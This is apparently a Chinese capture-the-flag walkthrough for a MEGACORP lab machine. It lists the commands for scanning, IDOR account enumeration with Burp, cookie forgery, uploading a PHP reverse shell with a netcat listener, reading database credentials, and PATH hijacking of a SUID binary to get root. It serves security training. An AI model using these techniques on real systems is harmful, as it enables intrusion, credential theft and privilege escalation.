扫描机器端口

nmap -sS -A 10.10.10.28

发现开放的端口有22 和 80

打开网站

burp proxy

WX20200806-152825

WX20200806-153745

如上配置,将127.0.0.1:8080 代理到10.10.10.28;然后在浏览器中访问127.0.0.1:8080,在Target 中查看网站的信息

WX20200806-154512

尝试打开 http://10.10.10.28/cdn-cgi/login

登陆

通过admin/MEGACORP_4dm1n!!进行登陆,MEGACORP_4dm1n!!为上一章节中获取到的密码。

登陆成功后点击Account
1596703138845

url为 http://10.10.10.28/cdn-cgi/login/admin.php?content=accounts&id=1

WX20200806-165158

说明admin账号的id为1

intruder

  • Positions
    通过burp->intruder 获取其它用户
    WX20200806-165426

点击Clear清除默认填充的占位符,选择id点击add,添加id占位符

WX20200806-165850

  • Payloads
    执行脚本,生成1~100的数字,并Paste到Payload Options中
for i in `seq 1 100`; do echo $i; done

WX20200806-170759

  • options
    WX20200806-171305

  • Start attack
    然后点击target 并点击Start attack

  • result

WX20200806-171556
根据result结果发现,长度有少量不一致的响应,挨个查看这些响应,发现有个账号是86575,super admin,superadmin@megacorp.com,id为30

Uploads

点击网站菜单,打开uploads

  • 打开burp-> proxy-> intercept
  • 刷新uploads
  • 将intercept中拦截到的请求中的Cookie调整为user=86575;role=super admin
  • 点击Forward
  • uploads访问成功

上传文件

  • 修改文件/usr/share/webshells/php/php-reverse-shell.php中的ip信息为vbox虚机ip,prot为稍后通过nc监听的端口号
  • 通过intercept拦截修改cookie的方式上传文件

WX20200807-091944

获取上传文件的位置

使用dirsearch枚举公共目录的Web服务器。

  • 下载dirsearch
git clone https://github.com/maurosoria/dirsearch.git
  • 执行dirsearch.py,扫描http服务器
python3 dirsearch/dirsearch.py -u http://10.10.10.28 -e php

WX20200806-175814@2x

监听并执行命令

nc -lvnp 1234

执行php脚本

curl http://10.10.10.28/uploads/test.php

如果执行curl 404,改下shell脚本的名字,重新上传

获取数据库连接信息

$ cat /var/www/html/cdn-cgi/login/db.php
<?php
$conn = mysqli_connect('localhost','robert','M3g4C0rpUs3r!','garage');
?>

当前登陆用户信息

$ id robert
uid=1000(robert) gid=1000(robert) groups=1000(robert),1001(bugtracker)

通过查询文件系统判断该用户拥有访问权限的目录

$ find / -type f -group bugtracker 2>/dev/null
/usr/bin/bugtracker

上述命令查找归属组为bugtracker的文件

切换robert账号

$ su robert
su: must be run from a terminal

执行以下内容SHELL=/bin/bash script -q /dev/null 并点击 enter

> SHELL=/bin/bash script -q /dev/null
Ctrl-Z
stty raw -echo
fg
reset
xterm

再次su robert并输入密码M3g4C0rpUs3r!

执行bugtracker

/usr/bin/bugtracker

WX20200807-101756@2x

好像可以根据id输出bug报告

查看bugtracker内容

通过strings命令查看/usr/bin/bugtracker的内容

$strings /usr/bin/bugtracker
······
------------------
: EV Bug Tracker :
------------------
Provide Bug ID:
---------------
cat /root/reports/
;*3$"
······

我们发现上述脚本的实质操作为,拼接cat命令并执行,如输入的是1则最终执行的为cat /root/reports/1

获取root权限

  • 将自定义cat命令指向sh
echo '/bin/sh' > cat
  • 修改cat执行权限
chmod +x cat
  • 将当前目录添加PATH
export PATH=/tmp:$PATH
  • 执行/usr/bin/bugtracker,获取root权限